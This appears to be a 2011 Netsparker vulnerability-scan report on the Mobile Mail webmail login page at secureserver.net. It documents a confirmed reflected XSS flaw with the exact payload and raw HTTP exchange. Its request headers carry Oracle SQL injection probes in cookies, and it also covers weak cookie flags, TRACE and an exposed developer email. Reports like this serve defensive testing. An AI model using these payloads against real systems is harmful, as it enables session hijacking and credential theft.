Netsparker, Web Application Security Scanner

XSS, Cross Site Scripting, Javascript Injection, mm.mobilemail.secureserver.net, CWE-79, CAPEC-86

Loading

Netsparker - Scan Report Summary
TARGET URL
https://mm.mobilemail.secureserver.net/login....
SCAN DATE
3/17/2011 11:14:24 AM
REPORT DATE
3/17/2011 12:27:01 PM
SCAN DURATION
00:05:54

Total Requests

Average Speed

req/sec.
7
identified
6
confirmed
0
critical
2
informational

GHDB, DORK Tests

GHDB, DORK Tests
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
29 %
LOW
43 %
INFORMATION
29 %
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:
  • Hi-jacking users' active session
  • Changing the look of the page within the victims browser.
  • Mounting a successful phishing attack.
  • Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /login.php

/login.php CONFIRMED

https://mm.mobilemail.secureserver.net/login.php?nomulti=1&domain='%22--%3E%3C/style%3E%3C/script%3E..

Parameters

Parameter Type Value
nomulti GET 1
domain GET '"--></style></script><script>alert(0x0002F6)</script>
log_in_now GET Log In Now
password GET 3
remember GET 1
request_uri GET 3
username GET Ronald Smith

Request

GET /login.php?nomulti=1&domain='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0002F6)%3C/script%3E&log_in_now=Log+In+Now&password=3&remember=1&request_uri=3&username=Ronald%20Smith HTTP/1.1
Referer: https://mm.mobilemail.secureserver.net/login.php?nomulti=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: mm.mobilemail.secureserver.net
Cookie: username_list=ronald smith|'||(utl_inaddr.get_host_address((select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from dual)))||'|(utl_inaddr.get_host_address((select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from dual)))|*/netsparker(0x000239); jyi+phnjcmlwdd5uzxrzcgfya2vykdb4mdawmtg3ktwvc2nyaxb0pg==|; tlm3nzu0ntyxndq2ntc1|login.php=; char(33)=; char(64)=; char(52)=; char(100)=; char(105)=; char(108)=; char(101)=; char(109)=; concat(concat(char(95)=; char(97))=; 0x3a=; tlm3nzu0ntyxndq2ntc1|data:=; jyi+phnjcmlwdd5uzxrzcgfya2vykdb4mdawmjjgktwvc2nyaxb0pg==|'+ convert(int; domain=data:; PHPSESSIONID=2a44fa33d2d27d8f64060e3a886c2dbe; cookieDetect=1; pdaid=1300378419026b142a51a64f62eda16e; username_list=ronald smith|'||(utl_inaddr.get_host_address((select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from dual)))||'|(utl_inaddr.get_host_address((select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from dual)))|*/netsparker(0x000239); domain=3; tlm3nzu0ntyxndq2ntc1=
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 16:18:24 GMT
Server: Apache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cookieDetect=1; expires=Fri, 16-Mar-2012 16:18:24 GMT; domain=mobilemail.secureserver.net; path=/,domain='"--></style></script><script>netsparker(0x0002f6)</script>; expires=Fri, 16-Mar-2012 16:18:24 GMT; domain=secureserver.net; path=/
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title>Mobile Mail :: Login</title><link rel="STYLESHEET" type="text/css" href="main.css.php?v=2.3.03&client="><meta name="palmcomputingplatform" content="true"><script type="text/javascript" src="base/js/Env.js?v=2.3.03"></script><script type="text/javascript" src="base/js/Utils.js?v=2.3.03"></script><script type="text/javascript" src="base/js/Event.js?v=2.3.03"></script><script type="text/javascript" src="js/keycuts.js?v=2.3.03"></script></head><body><div class="wrapper"><div class="toplogo" align="center"><img src="i/logo.gif?v=2.3.03" alt="Mobile Mail" width="108" height="33"></div><form action="/login.php?nomulti=1" method="post"><input type="hidden" name="request_uri" value=""><input type="hidden" name="domain" value="'"--></style></script><script>netsparker(0x0002f6)</script>"><div align="center"><table border="0" cellspacing="5" cellpadding="0" class="login" width="100%"><tr><td align="center"><b>Email:</b><br><input type="text" name="username" id="usernamefield" size="30" value=""><br>@'&quot;--&gt;&lt;/style&gt;&lt;/script&gt;&lt;script&gt;netsparker(0x0002f6)&lt;/script&gt;</td></tr><tr><td align="center"><b>Password:&nbsp;</b><br><input type="password" name="password" size="30"></td></tr><tr><td align="center"><input type="checkbox" id="remember" name="remember" value="1"> <label for="remember">Remember Me</label></td></tr><tr><td align="center"><input type="submit" name="log_in_now" value="Log In Now"></td></tr></table></div></form><div class="loginnav" align="center"><p><a href="https://email.secureserver.net/login.php?nopda=1">Desktop Web-Based Email</a></p><p>Copyright &copy; 2004-2011. All rights reserved.</p></div><script type="text/javascript">if (document.getElementById) elem = document.getElementById("usernamefield");else elem = document.all.usernamefield;elem.focus();if (elem.select) elem.select();</script></div></body></html>
Cookie Not Marked As Secure

Cookie Not Marked As Secure

1 TOTAL
IMPORTANT
CONFIRMED
1
A Cookie was not marked as secure and transmitted over HTTPS. This means the cookie could potentially be stolen by an attacker who can successfully intercept and decrypt the traffic or following a successful MITM (Man in the middle) attack.

Impact

This cookie will be transmitted over a HTTP connection, therefore if this cookie is important (such as a session cookie) an attacker might intercept it and hijack a victim's session. If the attacker can carry out a MITM attack, he/she can force victim to make a HTTP request to steal the cookie.

Actions to Take

  1. See the remedy for solution.
  2. Mark all cookies used within the application as secure. (If the cookie is not related to authentication or does not carry any personal information you do not have to mark it as secure.))

Remedy

Mark all cookies used within the application as secure.

Required Skills for Successful Exploitation

To exploit this issue, the attacker needs to be able to intercept traffic. This generally requires local access to the web server or victim's network. Attackers need to be understand layer 2, have physical access to systems either as way points for the traffic, or locally (have gained access to) to a system between the victim and the web server.
- /login.php

/login.php CONFIRMED

https://mm.mobilemail.secureserver.net/login.php?nomulti=1

Identified Cookie

PHPSESSIONID

Request

GET /login.php?nomulti=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: mm.mobilemail.secureserver.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Thu, 17 Mar 2011 16:13:38 GMT
Server: Apache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: PHPSESSIONID=db07b3d234c75a2b0fc71b1be0ad4e88; path=/; domain=mobilemail.secureserver.net,cookieDetect=1; expires=Fri, 16-Mar-2012 16:13:38 GMT; domain=mobilemail.secureserver.net; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: https://mm.mobilemail.secureserver.net/login.php?secondtry=1&rand=33676
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html


Auto Complete Enabled

Auto Complete Enabled

1 TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".

Impact

Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.

Remedy

Add the attribute autocomplete="off" to the form tag or to individual "input" fields.

Actions to Take

  1. See the remedy for the solution.
  2. Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.

Required Skills for Successful Exploitation

Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.

External References

- /login.php

/login.php CONFIRMED

https://mm.mobilemail.secureserver.net/login.php?secondtry=1&rand=33676

Identified Field Name

password

Request

GET /login.php?secondtry=1&rand=33676 HTTP/1.1
Referer: https://mm.mobilemail.secureserver.net/login.php?nomulti=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: mm.mobilemail.secureserver.net
Cookie: PHPSESSIONID=db07b3d234c75a2b0fc71b1be0ad4e88; cookieDetect=1
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 16:13:39 GMT
Server: Apache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cookieDetect=1; expires=Fri, 16-Mar-2012 16:13:39 GMT; domain=mobilemail.secureserver.net; path=/,pdaid=13003784196ced86dd16959f81cb4e7f; expires=Fri, 16-Mar-2012 16:13:39 GMT; domain=secureserver.net; path=/,username_list=; expires=Wed, 17-Mar-2010 16:13:39 GMT; domain=secureserver.net; path=/
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title>Mobile Mail :: Login</title><link rel="STYLESHEET" type="text/css" href="main.css.php?v=2.3.03&client="><meta name="palmcomputingplatform" content="true"><script type="text/javascript" src="base/js/Env.js?v=2.3.03"></script><script type="text/javascript" src="base/js/Utils.js?v=2.3.03"></script><script type="text/javascript" src="base/js/Event.js?v=2.3.03"></script><script type="text/javascript" src="js/keycuts.js?v=2.3.03"></script></head><body><div class="wrapper"><div class="toplogo" align="center"><img src="i/logo.gif?v=2.3.03" alt="Mobile Mail" width="108" height="33"></div><form action="/login.php?nomulti=1" method="post"><input type="hidden" name="request_uri" value=""><input type="hidden" name="domain" value=""><div align="center"><table border="0" cellspacing="5" cellpadding="0" class="login" width="100%"><tr><td align="center"><b>Email:</b><br><input type="text" name="username" id="usernamefield" size="30" value=""><br></td></tr><tr><td align="center"><b>Password:&nbsp;</b><br><input type="password" name="password" size="30"></td></tr><tr><td align="center"><input type="checkbox" id="remember" name="remember" value="1"> <label for="remember">Remember Me</label></td></tr><tr><td align="center"><input type="submit" name="log_in_now" value="Log In Now"></td></tr></table></div></form><div class="loginnav" align="center"><p><a href="https://email.secureserver.net/login.php?nopda=1">Desktop Web-Based Email</a></p><p>Copyright &copy; 2004-2011. All rights reserved.</p></div><script type="text/javascript">if (document.getElementById) elem = document.getElementById("usernamefield");else elem = document.all.usernamefield;elem.focus();if (elem.select) elem.select();</script></div></body></html>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /

/ CONFIRMED

https://mm.mobilemail.secureserver.net/

Identified Cookie

PHPSESSIONID

Request

GET / HTTP/1.1
Referer: https://mm.mobilemail.secureserver.net/login.php?nomulti=1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: mm.mobilemail.secureserver.net
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Thu, 17 Mar 2011 16:13:38 GMT
Server: Apache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: PHPSESSIONID=39201864142cb604ecf8cf47e690267a; path=/; domain=mobilemail.secureserver.net,cookieDetect=1; expires=Fri, 16-Mar-2012 16:13:38 GMT; domain=mobilemail.secureserver.net; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: https://mm.mobilemail.secureserver.net/login.php
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html


TRACE / TRACK Identified

TRACE / TRACK Identified

1 TOTAL
LOW
CONFIRMED
1
Netsparker identified that the TRACE/TRACK method is allowed.

Impact

If the application is vulnerable to Cross-site Scripting and uses Http-Only Cookies then an attacker can bypass the Http-Only cookies limitation and read the cookies in an XSS attack.

Remedy

Disable this method in all production systems. Even though the application is not vulnerable to Cross-site Scripting a debugging feature such as TRACE/TRACK should not be required in a production system and therefore should be disabled.

External References

- /login.php

/login.php CONFIRMED

https://mm.mobilemail.secureserver.net/login.php?nomulti=1

Request

TRACK /login.php?nomulti=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: mm.mobilemail.secureserver.net
Cookie: PHPSESSIONID=db07b3d234c75a2b0fc71b1be0ad4e88; cookieDetect=1; pdaid=13003784196ced86dd16959f81cb4e7f; username_list=
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 16:13:39 GMT
Server: Apache
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: cookieDetect=1; expires=Fri, 16-Mar-2012 16:13:39 GMT; domain=mobilemail.secureserver.net; path=/,username_list=; expires=Wed, 17-Mar-2010 16:13:39 GMT; domain=secureserver.net; path=/
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title>Mobile Mail :: Login</title><link rel="STYLESHEET" type="text/css" href="main.css.php?v=2.3.03&client="><meta name="palmcomputingplatform" content="true"><script type="text/javascript" src="base/js/Env.js?v=2.3.03"></script><script type="text/javascript" src="base/js/Utils.js?v=2.3.03"></script><script type="text/javascript" src="base/js/Event.js?v=2.3.03"></script><script type="text/javascript" src="js/keycuts.js?v=2.3.03"></script></head><body><div class="wrapper"><div class="toplogo" align="center"><img src="i/logo.gif?v=2.3.03" alt="Mobile Mail" width="108" height="33"></div><form action="/login.php?nomulti=1" method="post"><input type="hidden" name="request_uri" value=""><input type="hidden" name="domain" value=""><div align="center"><table border="0" cellspacing="5" cellpadding="0" class="login" width="100%"><tr><td align="center"><b>Email:</b><br><input type="text" name="username" id="usernamefield" size="30" value=""><br></td></tr><tr><td align="center"><b>Password:&nbsp;</b><br><input type="password" name="password" size="30"></td></tr><tr><td align="center"><input type="checkbox" id="remember" name="remember" value="1"> <label for="remember">Remember Me</label></td></tr><tr><td align="center"><input type="submit" name="log_in_now" value="Log In Now"></td></tr></table></div></form><div class="loginnav" align="center"><p><a href="https://email.secureserver.net/login.php?nopda=1">Desktop Web-Based Email</a></p><p>Copyright &copy; 2004-2011. All rights reserved.</p></div><script type="text/javascript">if (document.getElementById) elem = document.getElementById("usernamefield");else elem = document.all.usernamefield;elem.focus();if (elem.select) elem.select();</script></div></body></html>
Forbidden Resource

Forbidden Resource

1 TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.

Impact

There is no impact resulting from this issue.
- /base/

/base/ CONFIRMED

https://mm.mobilemail.secureserver.net/base/

Request

GET /base/ HTTP/1.1
Referer: https://mm.mobilemail.secureserver.net/base/js/Env.js?v=2.3.03
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: mm.mobilemail.secureserver.net
Cookie: PHPSESSIONID=db07b3d234c75a2b0fc71b1be0ad4e88; cookieDetect=1; pdaid=1300378419026b142a51a64f62eda16e; username_list=
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 403 Forbidden
Date: Thu, 17 Mar 2011 16:13:39 GMT
Server: Apache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1>You don't have permission to access /base/on this server.<P></BODY></HTML>
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /base/js/Event.js

/base/js/Event.js

https://mm.mobilemail.secureserver.net/base/js/Event.js?v=2.3.03

Found E-mails

vincent@godaddy.com

Request

GET /base/js/Event.js?v=2.3.03 HTTP/1.1
Referer: https://mm.mobilemail.secureserver.net/login.php?secondtry=1&rand=33676
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: mm.mobilemail.secureserver.net
Cookie: PHPSESSIONID=db07b3d234c75a2b0fc71b1be0ad4e88; cookieDetect=1; pdaid=1300378419026b142a51a64f62eda16e; username_list=
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 17 Mar 2011 16:13:39 GMT
Server: Apache
Last-Modified: Wed, 24 Mar 2010 00:46:53 GMT
ETag: "2a2d18-1c80-4ba960fd"
Accept-Ranges: bytes
Content-Length: 7296
Connection: close
Content-Type: application/x-javascript


// +------------------------------------------------------------------------+// | VBase |// +------------------------------------------------------------------------+// | Author Vincent Fiduccia <vincent@godaddy.com |// +------------------------------------------------------------------------+// + Event handling +// +------------------------------------------------------------------------+// @TODO Priority support// Use $E as the class name because it's nice and short and Event is takenfunction $E() {}// Events that default to window instead of document. Leading and trailing commas are required$E.WINDOW_EVENTS = ',load,beforeunload,unload,resize,scroll,resizestart,resizeend,';$E.anon_fn = [];//$E.events = {}; // All the registered events -- for priority//$E.next_elem_id = 1; -- for priority// eventname : one of the standard events. e.g. 'click','load','contextmenu'// func : the function to call.// obj : the object to bind to. If not specified, window or document will be chosen as appropriate.// priority : this obj/eventname's priority relative to others.$E.add = function(eventname,func,obj,allow_cache/*,priority*/){ if ( allow_cache !== false ) { allow_cache = true; }/* if ( priority === null ) priority = 1000;*/ // No point caching events that we can't remove if ( eventname == 'load' ) { allow_cache = false; } // Beforeunload doesn't work in Safari if ( Env.is_khtml && eventname == 'beforeunload' ) { eventname = 'unload'; } obj = $E._inputToTarget(eventname,obj); func = $E._inputToFunction(func,allow_cache); if ( Env.is_ie ) { return obj.attachEvent("on"+eventname,func); } else { return obj.addEventListener(eventname,func,true); }/* Half finished stuff for priority handling var id; if ( obj['__event_id'] ) { id = obj['__event_id']; } else { id = $E.next_elem_id++; obj['__event_id'] = id; } if ( ! $E.events[id] ) { $E.events[id] = { obj: obj, eventtypes: {} }; } var evrec = $E.events[id].eventtypes[eventname]; if ( ! evrec ) { evrec = $E.events[id].eventtypes[eventname] = {}; if ( Env.is_ie ) obj.attachEvent("on"+eventname,$E.dispatch); else obj.addEventListener(eventname,$E.dispatch.bind(obj),true); } if ( ! evrec[priority] ) evrec[priority] = []; evrec[priority] = func;*/}/* For priority handling$E.dispatch = function(event){ // 'this' == the object the event was tied to var id = this.__event_id; var type = event.type;}*/$E.remove = function(eventname,func,obj){ // Beforeunload doesn't work in Safari if ( Env.is_khtml && eventname == 'beforeunload' ) { eventname = 'unload'; } obj = $E._inputToTarget(eventname,obj); func = $E._inputToFunction(func); if ( Env.is_ie ) { return obj.detachEvent("on"+eventname,func); } else { return obj.removeEventListener(eventname,func,true); }}$E.cancel = function(event){ if ( Env.is_ie ) { event.cancelBubble = true; event.returnValue = false; } else if ( event.preventDefault ) // Won't always be defined because events are cloned sometimes and the function won't work { event.preventDefault(); event.stopPropagation(); } return false;}$E.target = function(event,tag_name){ var target; if ( Env.is_ie ) { target = event.srcElement; } else { target = event.target; } if ( Env.is_khtml && target.nodeType == 3 ) // Safari bug with text nodes { target = target.parentNode; } if ( target) { if ( tag_name ) { target = $L.findParentTag(target,tag_name); } if ( target ) return target; else return false; } else { return false; }}$E.absX = function(event){ if ( Env.is_ie ) { return event.clientX + document.documentElement.scrollLeft + document.body.scrollLeft; } else { return event.clientX + window.scrollX; }}$E.absY = function(event){ if ( Env.is_ie ) { return event.clientY + document.documentElement.scrollTop + document.body.scrollTop; } else { return event.clientY + window.scrollY; }}$E.absPos = function(event){ return { left: $E.absX(event), top: $E.absY(event) };}$E.keyCode = function(event){ var code = ( event.keyCode > 0 ? event.keyCode : event.which ); if ( code >= 96 && code <= 105 ) // Number pad numbers { code -= 48; } return code;}// Returns true if the "select more" key was down. Cmd/Meta in Mac, Ctrl in other.$E.moreKey = function(event){ return ( Env.is_mac ? event.metaKey : event.ctrlKey );}$E.rangeKey = function(event){ return event.shiftKey;}$E.navKey = function(event){ if ( event.shiftKey && event.keyCode != 9) { return false; } if ( event.metaKey ) { return true; } var k = event.keyCode; if ( k == 8 || k == 46 // delete/backsp || (k == 9 ) // tab || (k >= 33 && k <= 40) // arrows, home/end, page up/down || (k >= 112 && k <= 123) // fkeys || (k >= 16 && k <= 18 ) // shift, ctrl, alt || (k == 91 || k == 93 ) // windows, menu ) { return true; } return false;}$E.keyMatch = function(event,ary){ return Utils.in_array($E.keyCode(event),ary);}$E._inputToTarget = function(eventname,obj){ if ( obj != null ) { return $(obj); } if ( (eventname == 'unload' || eventname == 'beforeunload') && Env.is_khtml ) { return window; } else if ( (','+$E.WINDOW_EVENTS+',').indexOf(','+eventname+',') != -1 ) { return window; } else { return document; }}$E._inputToFunction = function(input,allow_cache){ if ( allow_cache == null ) { allow_cache = true; } if ( typeof(input) == 'function' ) { return input; } if ( typeof(input) == 'string' ) { var fn; eval("fn = function() { " + input + " }"); var str = fn.toString(); if ( allow_cache ) { for ( var i = 0 ; i < $E.anon_fn.length ; i++ ) { if ( $E.anon_fn[i].toString() == str ) { return $E.anon_fn[i]; } } $E.anon_fn[$E.anon_fn.length] = fn; } return fn; } return null;}// Each group is (Starndard/Windows, Opera?, Mac), and does not include the keypad number "arrow" keys (52,54,56,50 numlock off), (100,102,104,98 on)$E.KEY_ARROW_LEFT = [37,63234,65460];$E.KEY_ARROW_RIGHT = [39,63235,65462];$E.KEY_ARROW_UP = [38,63232,65464];$E.KEY_ARROW_DOWN = [40,63233,65458];$E.KEY_DIGIT = [48,49,50,51,52,53,54,55,56,57]; // 0-9$E.KEY_BACKSPACE = [8,46]; // 8 = backspace, 46 = delete.$E.KEY_TAB = [9,65289]; // Update $E.tabKey function if changing...$E.KEY_RETURN = [3,13];$E.KEY_ESCAPE = [27];$E.KEY_SPACE = [32];$E.KEY_PAGE_UP = [33,63276];$E.KEY_PAGE_DOWN = [34,63277];$E.KEY_END = [35,63275];$E.KEY_HOME = [36,63273];$E.KEY_TILDE = [192];$E.KEY_MODIFIER = [16,17,18,91,93]; // shift, ctrl, alt, windows, menu$E.KEY_EVENT = ( Env.is_mac && Env.is_gecko ? 'keypress' : 'keydown' );